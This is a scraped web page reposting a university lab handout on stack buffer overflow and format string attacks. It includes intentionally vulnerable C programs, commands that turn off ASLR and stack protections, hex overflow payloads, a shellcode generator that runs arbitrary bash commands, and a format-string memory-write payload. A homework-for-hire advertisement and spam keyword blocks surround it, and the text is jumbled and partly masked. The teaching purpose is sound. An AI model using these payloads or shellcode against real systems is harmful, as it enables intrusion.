日韩精品一区二区三区高清_久久国产热这里只有精品8_天天做爽夜夜做爽_一本岛在免费一二三区

合肥生活安徽新聞合肥交通合肥房產生活服務合肥教育合肥招聘合肥旅游文化藝術合肥美食合肥地圖合肥社保合肥醫院企業服務合肥法律

代寫IERG 4130、代做c/c++設計編程

時間:2023-12-13  來源:合肥網hfw.cc  作者:hfw.cc 我要糾錯



IERG 4130 Lab 5: Buffer overflow && format string attack
[65 pts]
Submission format
1. The file format should be PDF
2. The file should be submitted with the file name in the format "{course code}_LAB{i}_{Dept}_{Sid}". For
example, "IERG4130_LAB1_IE_1155xxxxxx.pdf".
0. Establish the experiment environment [0 pt]
1. Please download the VM
1. Download VirtualBox and the SEED Ubuntu-20.04 VM. Choose Ubuntu 20.04 VM , and
download from Google Drive or DigitalOcean.
2. Refer to the VM Manual to configure your VM.
2. Please download the zip file lab5.zip from Blackboard, put it into the VM, and unzip it.
1. Buffer Overflow Attack [45 pts + optional bonus 15 pts ]
1.1 Turning off Countermeasures
Before starting this lab, we need to make sure the address randomization countermeasure is turned off;
otherwise, the attack will be difficult. You can do it using the following command:
1.2 The Vulnerable Program
The vulnerable program used in this lab is called stack.c . This program has a buffer-overflow
vulnerability, and your job is to exploit this vulnerability and gain the coupon from ParknShop company.
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
#include <stdio.h>
#include <time.h>
#include <unistd.h>
int get_coupon(){
puts("\nCongrats!!");
time_t curtime;
time(&curtime);
printf("You receive the coupon at %s", ctime(&curtime));
return 0;
}
The above program has a buffer overflow vulnerability on the stack. It reads data from the standard input,
and then end the program without giving any coupon. The original input can have a maximum length of 40
bytes, but the buffer in read_name() is only 12 bytes long, which is less than 40. Because read does not
check boundaries, buffer overflow will occur.
If users can exploit this buffer overflow vulnerablity, they can get a coupon from this program.
1.3 Compilation
To compile the above vulnerable program, we need to turn off the StackGuard and the non-executable
stack protections using the -fno-stack-protectorand and -z execstack options.
We will compile the stack program into **-bit binaries. Our pre-built Ubuntu 20.04 VM is a 64-bit VM, but
it still supports **-bit binaries. All we need to do is to use the -m** option in the gcc command. For **-bit
compilation, we also use -static to generate a statically-linked binary, which is self-contained and not
depending on any dynamic library, because the **-bit dynamic libraries are not installed in our containers.
The following is the compilation command.
int input_name(){
char buf[12];
read(0,buf,180);
return 0;
}
int main(void){
puts("=========Stack Buffer Overflow is easy=========");
puts("Welcome to online coupon system...");
puts("See if you have the chance to get the coupon!");
puts("Please input your name:");
fflush(stdout);
input_name();
puts("Sorry, you are not lucky this time."); // PxxxxShop company doesn't want to
give anyone coupon.
return 0;
}
$ gcc -g -z execstack -fno-stack-protector -o stack -static -m** stack.c
1.4 Task 1: Get the program to segmentation fault [5 pts]
The ultimate goal of buffer-overflow attacks is to hijack the control flow or inject malicious code into the
target program, so the code can be executed using the target program’s privilege. Before that goal, a bufferoverflow would easily violate the availability of program.
Let's run the program to see what's going on. After compilation, use the following command to run the
program.
However, this program would not let you get the coupon when you input your name as normal. (Note:
although we provide the source code here, it doesn't mean that you can change the code to call the
get_coupon() directly and recompile the code to run. Here, the source code is for your understanding and
we have to use user input to attack the program. In real world, the source code is usually not available and
we can only obtain the compiled binary. Usually, attacker will leverage reverse engineering to decompile
the binaries to find vulnerabilities.)
Task (requires screenshots): Please provide a user input that can cause the program to crash with
Segmentation fault , and explain in your own words what is a Segmentation fault . (Providing only a
user input will not earn any points for this task.)
1.5 Task 2: use gdb to debug program [5 pts]
Before we exploit the program, we need to know how to use gdb to dynamically debug the program. The
pre-built VM already installed the gdb with peda . The common commands in gdb are provided in Tutorial07 Slides p5-p7.
Use the following command to debug the program stack with gdb.
Since we use -g option to compile the program, the symbol table (information of function name, variable
name) is kept in the binary for debugging. We can directly disassemble a function using its name.
$ ./stack
=========Stack Buffer Overflow is easy=========
Welcome to online coupon system...
See if you have the chance to get the coupon!
Please input your name:
XXX
Sorry, you are not lucky this time.
$ gdb stack
gdb-peda$ disas main
Dump of assembler code for function main:
 ......
End of assembler dump.
We can also make breakpoint at certain function using its name. Then run the program and we would stop
at the breakpoint (the first assemble instruction in function input_name() )
We can use ni , si , continue to continue running the program.
gdb-peda provide us a well-structured GUI to show the current Registers value, current Code, current
Stack.
We can use x/8wx ADDRESS to print out the memory value starting from ADDRESS. (In this case, we print
out 8 values and each value is in 4-byte hex format.)
gdb-peda$ break input_name
gdb-peda$ run
gdb-peda$ continue
Continuing.
XXX
Sorry, you are not lucky this time.
[Inferior 1 (process 3440433) exited normally]
...
gdb-peda$
As shown in the Tutorial-07 Slides p7, w in x/8wx ADDRESS can be replaced with b/h/g (each value with
1/2/8 bytes). w means 4 bytes long.
x/**bx 0xffffd09c prints the same memory value as x/8wx 0xffffd09c in the above figure. However,
we found that the order printed by the later command is inverse. This is because CPU here is little-endian
(what is little-endian?).
Task (requires screenshots): Please make two breakpoints, the first one is at read(0,buf,40); in
function input_name() , the second one is at return 0; in function input_name() . And run the program
to exit normally in gdb.
1.6 Task 3: Attack the program to hijack control flow [20 pts + bonus 15 pts]
For this task, we want to exploit the stack buffer overflow to get the coupon. From the source code, we can
see that there is already a function get_coupon() provided in the program, but it is never called. However,
we can use the buffer overflow vulnerability to hijack the control flow and redirect it to get_coupon() via
user input.
The reason the buffer overflow vulnerability occurs here is that read(0, buf, 40) allows the user to input
40 bytes, but the buf is only 12 bytes long. This means that we can overwrite 28 bytes value on the stack.
We can use gdb to observe this procedure and understand the principle of the buffer overflow
vulnerability.
By finising above tasks, you already learned how to make breakpoints at read(0,buf,40); and return
0; in function input_name() . Now, we first provide a valid input that would not crash the program and
observe the value on the stack.
After giving the input, we observe that there are indeed 12 bytes written as 0x61616161 0x61616161
0x61616161 from address 0xffffd084 to address 0xffffd08f .
gdb-peda$ x/10wx 0xffffd070
gdb-peda$ ni
aaaaaaaaaaaabbbbccccddd
Task [5 pts]: Actually, if you are looking closely, we have already overwritten a byte. Please indicate which
byte value, at which address, was overwritten and provide the value it was overwritten with. Finally, explain
why this occurred.
Let's try another run to overwrite or Smash the stack.
Here, we give an invalid input to overwrite the stack. We observe that we successfully over wrote the later
12 bytes.
We can use below command to directly input hex values in gdb.
We can also use below command to directly input hex values in terminal.
gdb-peda$ run <<< $(echo -en
'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x62\x62\x62\x62\x63\x63\x63\x63\x64\x
64\x64')
Task [15 pts] (requires screenshots): Please exploit the stack buffer overflow vulnerability in order to
obtain the coupon by redirecting the control flow to get_coupon() . The attack payload should be
demonstrated and explained as to why it is crafted this way.
Note: Please perform the attack in the terminal, finally. Here is the successful screenshot. It's ok to have
segmentation fault finally in this attack.
1.7 Task [Optional: Bonus 15 pts]: Attack the program to inject malicious shellcode.
However, get the coupon is not enough for super attacker. The ultimate attack goal is to run any malicious
code. Shellcode help us achieve this.
To alleviate your workload, we provide a python script with shellcode template to generate shellcode that
execute malicious code. The file is shellcode_**.py .
$ ./stack <<< $(echo -en
'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x62\x62\x62\x62\x63\x63\x63\x63\x64\x
64\x64')
#!/usr/bin/python3
import sys
# You can use this shellcode to run any command you want
shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x**\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"/bin/ls -l;echo hacked by 1155XXXXXX;echo bof is easy 4 me*"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
Replace the student ID 1155XXXXXX with your own one and use below command to generate the shellcode.
Task (requires screenshots): Please exploit the stack buffer overflow vulnerability in order to inject the
shellcode and execute it. The attack payload should be fully demonstrated and explained as to why it is
crafted this way.
Note: The address of the program running in GDB maybe different from the one running in the terminal.
So please perform the attack in GDB, finally. You could also try performing the attack in the terminal, but
it requires a bit more effort.
The screenshot of successful attack in GDB is below.
The screenshot of successful attack in terminal is below.
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
# Output the shell code to stdout
res = ''.join("\\x"+format(x, '02x') for x in shellcode)
print(res)
1.8 Task 4: Experimenting with the Address Randomization [5 pts]
At the beginning of this lab, we turned off one of the countermeasures, the Address Space Layout
Randomization (ASLR). In this task, we will turn it back on, and see how it affects the attack. You can run the
following command on your VM to enable ASLR. This change is global, and it will affect all the programs
running inside the VM.
We provide another program source code stack-defense.c for this task, please use the below
command to compile the program.
We also provide the python script generate-stack-defense-payload.py to generate a attack payload
against the stack-de .
First, run the stack-de program in terminal after compilation. This will provide you a address.
Use provided generate-stack-defense-payload.py script to generate an attack payload that inject
shellcode.
Then we can attack the program by using below command.
We first still turn off the ASLR.
Then use the generated attack payload to attack the program.
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
$ gcc -g -z execstack -fno-stack-protector -o stack-de -static -m** stack-defense.c
$ python3 generate-stack-defense-payload.py 0xffffd0**
$ ./stack-de <<< $(echo -en '\x60\xc0\xff\xff...')
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
We can see this attack payload works successfully when turnning off the ASLR.
Now, let's try turn ASLR back on and see if the payload still works again.
Task (requires screenshots): Please provide the attack result when we enable ASLR protection. Also,
please observe the printed address each time after enable ASLR protection.
Note: After finishing this task, please turn off the ASLR again.
1.9 Task 5: Experimenting with the StackGuard [5 pts]
Many compiler, such as gcc, implements a security mechanism called StackGuard to prevent buffer
overflows. In the presence of this protection, buffer overflow attacks will not work. The provided vulnerable
programs were compiled without enabling the StackGuard protection. In this task, we will turn it on and see
what will happen.
Please use this command to recompile the stack-defense.c
Task (requires screenshots): Please use the generated attack payload to attack against the program
( stack-de ) again to see if the attack still works.
1.10 Task 6: Experimenting with the Non-executable Stack Protection (5 pts)
Operating systems used to allow executable stacks, but this has now changed: In Ubuntu OS, the binary
images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e.,
they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide
whether to make the stack of this running program executable or non-executable. This marking is done
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
$ gcc -g -z execstack -o stack-de -static -m** stack-defense.c
automatically by the gcc, which by default makes stack non-executable. We can specifically make it nonexecutable using the -z noexecstack flag in the compilation. In our previous tasks, we used -z
execstack to make stacks executable.
In this task, we will make the stack non-executable. Please use this command to recompile stackdefense.c .
Now, try use the generated attack payload to attack against the program stack-de again.
Task (requires screenshots): Please provide the attack result when we enable non-executable stack
protection.
2. Format String Attack [20 pts]
2.1 Turning off Countermeasures
Modern operating systems uses address space randomization to randomize the starting address of heap
and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps
of the format-string attack. To simplify the tasks in this lab, we turn off the address randomization using the
following command:
2.2 The Vulnerable Program
$ gcc -g -fno-stack-protector -o stack-de -static -m** stack-defense.c
$ sudo sysctl -w kernel.randomize_va_space=0
#include <stdio.h>
#include <unistd.h>
int magic = 0;
int main(void){
char buf[256];
puts("Please guess the magic!");
printf("Give me magic:");
fflush(stdout);
read(0, buf, 256);
printf(buf);
if (magic == 23) {
puts("\nCongrats!! Format string attack is eazy.");
The above program has a format string vulnerability on the stack. It reads data from the standard input,
and then the input data is fed into the printf() function, which leads to a format-string vulnerability.
2.3 Compilation
Please use the below command to compile the program format .
2.4 Task 7: Read arbitary memory [10 pts]
Use gdb to debug the format program.
Diassemble the main function to make a breakpoint at printf(buf);
Then run the program in GDB.
Now, we will stop at the stage that requires user input.
The first trick in format string attack is to use printf("%7$p"); . This means that if user input can control
the value in printf, then we can feed %7$p to print out the memory value of 7th parameter on the stack.
We can change the number 7 to other number to print out other parameters on the stack.
Let's input the below content and continue the program.
 } else {
puts("Oops. You don't have the magic.");
 }
}
gcc -z execstack -static -m** -o format format.c
$ gdb format
gdb-peda$ disas main
gdb-peda$ break *ADDRESS
gdb-peda$ run
aaaa%7$p
Since we make breakpoint at the vulnerable statement printf(buf); , we will stop at this breakpoint.
Continue running the program, we will see the leaked memory value.
As shown, the printed memory value is exactly the aaaa string in hex format.
Task (requires screenshots): Please follow the above steps to reproduce the result in GDB.
2.5 Task 8: write arbitary memory to change the magic [10 pts]
From the source code of vulnerable program, we want to exploit this format string vulnerability to over
write the value in magic variable from 0 to 23.
To achieve this, we need to know another trick in format string.
One is to use %7$n , which can overwrite the value of 7th parameter on the stack. The written value
will be the number of chars (bytes) that is printed.
Another one is to use %19c , which can print 19 chars to the terminal.
It's ok to not understand these tricks. All you need to know is that we can combine above tricks to one to
overwrite any value we want. That is, printf("%19c%7$n") can let us write the value of 7th parameter on
the stack to 19 (in decimal).
Let's try this trick to overwrite the value of magic variable. First, we need to get the address of magic
variable. We can use gdb to do this.
Then we can input this address first and it will be put on the 7th on the stack. We also input the trick
%19c%7$n followed the address to overwrite the value to 23. (Why is 23: because the address value is
printed first and counted as 4 bytes, and plus our 19 bytes printed by %19c )
The final payload is below:
Task (requires screenshots): Please follow the above steps to reproduce the result in GDB.
gdb-peda$ x/x &magic
echo -en '\xdc\x62\x0e\x08%19c%7$n'
Credit
The lab partly refers to the SeedLab 2.0. The lab is for teaching with no commercial usage.

請加QQ:99515681 或郵箱:99515681@qq.com   WX:codehelp

掃一掃在手機打開當前頁
  • 上一篇:COMP2396代做、代寫Tic-Tac-Toe Game設計編程
  • 下一篇:CMT120代做、Python/Java設計程序代寫
  • 無相關信息
    合肥生活資訊

    合肥圖文信息
    急尋熱仿真分析?代做熱仿真服務+熱設計優化
    急尋熱仿真分析?代做熱仿真服務+熱設計優化
    出評 開團工具
    出評 開團工具
    挖掘機濾芯提升發動機性能
    挖掘機濾芯提升發動機性能
    海信羅馬假日洗衣機亮相AWE  復古美學與現代科技完美結合
    海信羅馬假日洗衣機亮相AWE 復古美學與現代
    合肥機場巴士4號線
    合肥機場巴士4號線
    合肥機場巴士3號線
    合肥機場巴士3號線
    合肥機場巴士2號線
    合肥機場巴士2號線
    合肥機場巴士1號線
    合肥機場巴士1號線
  • 短信驗證碼 酒店vi設計 deepseek 幣安下載 AI生圖 AI寫作 aippt AI生成PPT 阿里商辦

    關于我們 | 打賞支持 | 廣告服務 | 聯系我們 | 網站地圖 | 免責聲明 | 幫助中心 | 友情鏈接 |

    Copyright © 2025 hfw.cc Inc. All Rights Reserved. 合肥網 版權所有
    ICP備06013414號-3 公安備 42010502001045

    日韩精品一区二区三区高清_久久国产热这里只有精品8_天天做爽夜夜做爽_一本岛在免费一二三区

      <em id="rw4ev"></em>

        <tr id="rw4ev"></tr>

        <nav id="rw4ev"></nav>
        <strike id="rw4ev"><pre id="rw4ev"></pre></strike>
        一区二区三区视频在线观看| 久久综合九色九九| 国产一区日韩欧美| 国产亚洲欧美一区二区| 亚洲在线观看视频网站| 美女精品在线观看| 国产欧美一区二区精品忘忧草| 亚洲国产欧美另类丝袜| 亚洲精品视频二区| 亚洲人成7777| 欧美日韩中文字幕在线视频| 一区二区三区我不卡| 久久色中文字幕| 模特精品裸拍一区| aaa亚洲精品一二三区| 亚洲国产精品视频一区| 欧美日韩国产综合在线| 欧美午夜寂寞影院| 国产精品卡一卡二卡三| 欧美日韩亚洲视频一区| 一区二区不卡在线视频 午夜欧美不卡在| 欧美日韩p片| 国产亚洲电影| 日韩视频在线观看免费| 欧美jizz19hd性欧美| 欧美1区免费| 国产一区二区三区四区| 久久久久久久久久久久久9999| 中文日韩欧美| 欧美日韩国产999| 亚洲精品乱码久久久久久久久| 蜜臀久久久99精品久久久久久| 亚洲专区一区二区三区| 黄网站色欧美视频| 一区二区三区国产在线观看| 夜色激情一区二区| 久久色在线播放| 久久国产99| 亚洲精品在线三区| 亚洲欧美日韩在线高清直播| 国产精品视频yy9099| 欧美国产日韩二区| 欧美大片免费久久精品三p| 国产精品视频yy9099| 一区久久精品| 亚洲午夜久久久久久尤物| 国产亚洲欧美日韩精品| 亚洲电影网站| 久久电影一区| 国产一区二区0| 欧美在线观看网站| 宅男66日本亚洲欧美视频| 国产精品99久久久久久www| 99www免费人成精品| 欧美日韩美女在线观看| 久久狠狠一本精品综合网| 性8sex亚洲区入口| 欧美福利电影在线观看| 久久综合成人精品亚洲另类欧美| 国产精品综合| 国产精品色婷婷| 欧美人与禽猛交乱配| 国产日韩精品综合网站| 国产精品久久久久久久久久直播| 久久精品国产99精品国产亚洲性色| 国产精品xvideos88| 99精品国产在热久久| 久久久国产精品亚洲一区| 亚洲大片在线| 午夜亚洲精品| 国内精品久久久久国产盗摄免费观看完整版| 欧美激情视频在线播放| 欧美91福利在线观看| 国产偷自视频区视频一区二区| 国产伦精品一区二区三区| 欧美四级伦理在线| 国产欧美日本| 欧美日韩一区二区三区在线| 在线精品在线| 性欧美18~19sex高清播放| 久久精品一区二区三区不卡牛牛| 亚洲精品在线一区二区| 欧美日韩国产系列| 亚洲欧美国产日韩中文字幕| 国产精品国产三级国产aⅴ9色| 欧美三级特黄| 欧美精品123区| 亚洲第一网站免费视频| 亚洲成人影音| 国产精品久久久久一区二区| 午夜国产欧美理论在线播放| 最新日韩av| 国产精品视频免费| 欧美激情精品久久久| 欧美日韩中国免费专区在线看| 在线观看视频一区二区欧美日韩| 亚洲视频第一页| 亚洲精品视频在线| 国产乱人伦精品一区二区| 美女爽到呻吟久久久久| 亚洲福利视频一区| 国产精品爽黄69| 亚洲午夜未删减在线观看| 国产欧美精品在线播放| 午夜精品三级视频福利| 国产午夜精品全部视频在线播放| 欧美日韩免费观看中文| 欧美午夜片在线观看| 亚洲精品中文在线| 欧美系列电影免费观看| 好吊视频一区二区三区四区| 久久久xxx| 午夜久久影院| 免费看黄裸体一级大秀欧美| 欧美成人官网二区| 夜夜躁日日躁狠狠久久88av| 国产精品日韩在线观看| 久久精品国产一区二区三区| 美脚丝袜一区二区三区在线观看| 裸体一区二区三区| 免费日韩av| 亚洲国产三级网| 91久久国产精品91久久性色| 性欧美video另类hd性玩具| 亚洲欧洲日产国码二区| 亚洲一区二区欧美| 欧美黄色aa电影| 亚洲成人在线观看视频| 久久精品国产第一区二区三区最新章节| 亚洲欧美影音先锋| 夜夜嗨av一区二区三区| 欧美久久婷婷综合色| 国产精品对白刺激久久久| 国内精品久久久久久影视8| 亚洲制服欧美中文字幕中文字幕| 欧美日韩成人在线观看| 亚洲一区视频| 免费国产自线拍一欧美视频| 国产精品国产成人国产三级| 在线日韩av永久免费观看| 日韩一级片网址| 亚洲少妇自拍| 国产精品一区二区你懂得| 国内精品久久国产| 欧美午夜在线视频| 一本久道久久综合婷婷鲸鱼| 国产日韩欧美中文| 一区二区高清| 欧美日韩精品一区二区三区四区| 中文精品一区二区三区| 欧美日韩综合网| 欧美成人免费在线视频| 久久久伊人欧美| 欧美精品自拍偷拍动漫精品| 国产亚洲欧洲997久久综合| 裸体一区二区三区| 亚洲天堂成人在线观看| 久久精品国产69国产精品亚洲| 黄色精品在线看| 久久亚洲春色中文字幕| 久久精品国产v日韩v亚洲| 国产精品海角社区在线观看| 黄色成人av网| 激情综合激情|